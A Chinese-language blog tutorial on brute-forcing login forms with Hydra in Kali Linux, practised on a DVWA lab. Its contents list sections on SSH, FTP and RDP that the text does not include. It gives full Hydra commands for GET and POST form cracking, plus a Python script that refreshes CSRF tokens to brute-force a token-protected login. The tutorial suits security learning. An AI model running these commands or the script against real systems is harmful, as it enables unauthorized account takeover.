目录
Hydra
常见参数
破解SSH
破解FTP
破解HTTP
破解3389远程登录
Kali自带密码字典
dirb
dirbuster
fern-wifi
metasploit
wfuzz
Hydra是一款非常强大的暴力破解工具,它是由著名的黑客组织THC开发的一款开源暴力破解工具。Hydra是一个验证性质的工具,主要目的是:展示安全研究人员从远程获取一个系统认证权限。
目前该工具支持以下协议的爆破: AFP,Cisco AAA,Cisco身份验证,Cisco启用,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-PROXY,HTTPS-FORM- GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-HEAD,HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP,Oracle Listener,Oracle SID,Oracle,PC-Anywhere, PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,SAP / R3,SIP,SMB,SMTP,SMTP枚举,SNMP,SOCKS5,SSH(v1和v2),Subversion,Teamspeak(TS2),Telnet,VMware-Auth ,VNC和XMPP。
对于 HTTP,POP3,IMAP和SMTP,支持几种登录机制,如普通和MD5摘要等。
由于Kali中自带Hydra,所以怎么安装就不讲了,下面直接讲如何用它。
我们拿DVWA测试破解HTTP,破解HTTP,需要分析数据包的提交格式
GET方式:
分析数据包,我们得到下面的命令
hydra - L user.txt - P passwd.txt -o http_get.txt -vV 10.96. 10.208 http- get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect:H=Cookie: PHPSESSID=nvvrgk2f84qhnh43cm28pt42n6; security=low" -t 3 #前面那些参数就不说了,主要说一下引号里面的数据 /vulnerabilities/brute/ 代表请求目录,用:分隔参数,^ USER^和^ PASS^代表是攻击载荷, F=后面是代表密码错误时的关键字符串 , H后面是cookie信息POST方式:
分析数据包,得到下面的破解命令
hydra - L user.txt - P passwd.txt -t 3 -o http_post.txt -vV 10.96. 10.183 http-post-form "/login.php:username=^USER^&password=^PASS^&Login=Login&user_token=dd6bbcc4f4672afe99f15b1d2c249ea5:S=index.php" #前面那些参数就不说了,主要说一下引号里面的数据 /login.php 代表请求目录,用:分隔参数,^ USER^和^ PASS^代表是攻击载荷, S等于的是密码正确时返回应用的关键字符串但是新版的DVWA采用了token的验证方式,每次登录的token都是不一样的,所以不能用hydra来破解。目前,大多数网站登录都采用了token验证,所以,都不能使用Hydra来破解。
我们可以自己写一个python脚本来破解。
# -*- coding: utf-8 -*- """ Created on Sat Nov 24 20:42:01 2018 @author: 小谢 """ import urllib import requests from bs4 import BeautifulSoup ##第一步,先访问 http://127.0.0.1/login.php页面,获得服务器返回的cookie和token def get_cookie_token(): headers={ 'Host': '127.0.0.1', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Lanuage': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1'} res=requests.get( "http://127.0.0.1/login.php",headers=headers) cookies=res.cookies a=[( ';'.join([ '='.join(item) for item in cookies.items()]))] ## a为列表,存储cookie和token html=res.text soup=BeautifulSoup(html, "html.parser") token=soup.form.contents[ 3][ 'value'] a.append(token) return a ##第二步模拟登陆 def Login(a,username,password): #a是包含了cookie和token的列表 headers={ 'Host': '127.0.0.1', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Lanuage': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection': 'keep-alive', 'Content-Length': '88', 'Content-Type': 'application/x-www-form-urlencoded', 'Upgrade-Insecure-Requests': '1', 'Cookie':a[ 0], 'Referer': 'http://127.0.0.1/login.php'} values={ 'username':username, 'password':password, 'Login': 'Login', 'user_token':a[ 1] } data=urllib.parse.urlencode(values) resp=requests.post( "http://127.0.0.1/login.php",data=data,headers=headers) return #重定向到index.php def main(): with open( "user.txt", 'r') as f: users=f.readlines() for user in users: user=user.strip( "\n") #用户名 with open( "passwd.txt", 'r') as file: passwds=file.readlines() for passwd in passwds: passwd=passwd.strip( "\n") #密码 a=get_cookie_token() ##a列表中存储了服务器返回的cookie和toke Login(a,user,passwd) headers={ 'Host': '127.0.0.1', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Lanuage': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1', 'Cookie':a[ 0], 'Referer': 'http://127.0.0.1/login.php'} response=requests.get( "http://127.0.0.1/index.php",headers=headers) if response.headers[ 'Content-Length']== '7524': #如果登录成功 print( "用户名为:%s ,密码为:%s"%(user,passwd)) #打印出用户名和密码 break if __name__== '__main__': main()脚本运行截图
暴力破解能成功最重要的条件还是要有一个强大的密码字典!Kali默认自带了一些字典,在 /usr/share/wordlists 目录下
metasploit下有各种类型的字典
模糊测试,各种字典
相关文章:Linux下暴力破解工具Hydra详解